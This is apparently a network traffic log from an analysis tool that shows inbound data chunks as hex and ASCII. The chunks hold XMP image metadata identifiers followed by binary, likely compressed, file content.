2022-07-20 04:06:51 UTC	5543	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
2022-07-20 04:06:51 UTC	5559	IN	Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed</rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80
2022-07-20 04:06:51 UTC	5566	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li>
2022-07-20 04:06:51 UTC	5582	IN	Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 Data Ascii: JCnyzkIP\|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,27HTN$k?~
2022-07-20 04:06:51 UTC	5598	IN	Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&\|e;#3Yu!/hI`UY3+%.,\|O-4MbYOq#vZ>!;Nz+{Xq%ce8%Ba6(Jv)e
2022-07-20 04:06:51 UTC	5606	IN	Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG
2022-07-20 04:06:51 UTC	5622	IN	Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 Data Ascii: xXcw.?%_$qU2;\|.QDM-5Y5BzXIL#;I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+,%@dYA>
2022-07-20 04:06:51 UTC	5638	IN	Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t
2022-07-20 04:06:51 UTC	5645	IN	Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}}T[k(o+)
2022-07-20 04:06:51 UTC	5661	IN	Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U\|A0`tN%_3EbkQ3dzS:DYV_N[/O/
2022-07-20 04:06:51 UTC	5677	IN	Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e\|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9X&/Vs__:
2022-07-20 04:06:51 UTC	5685	IN	Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}PHjwx2l' ^
2022-07-20 04:06:51 UTC	5701	IN	Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx0r\|(EkJ;=RzQa13)DM{>>F>
2022-07-20 04:06:51 UTC	5717	IN	Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc Data Ascii: W^]Lq\qcN!'QI{V\|\\hoR's&.]y\_y)D\|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ\|B`tRo9}:v=ar7\jx5LJ(R[sqp98G`r9Q}kr?Ds
2022-07-20 04:06:51 UTC	5725	IN	Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 Data Ascii: \|2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P\|bg,=T\|0e]>ZkmYuzK-![,=')\|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-cMWyTq)@8
2022-07-20 04:06:51 UTC	5741	IN	Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 Data Ascii: cKf;vt,M\| -B:Sn"3tM.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1
2022-07-20 04:06:51 UTC	5757	IN	Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce\|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[UJC99!*Omn\|
2022-07-20 04:06:51 UTC	5765	IN	Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP`\mRP<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZVCi1(Rv
2022-07-20 04:06:51 UTC	5781	IN	Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t1 x
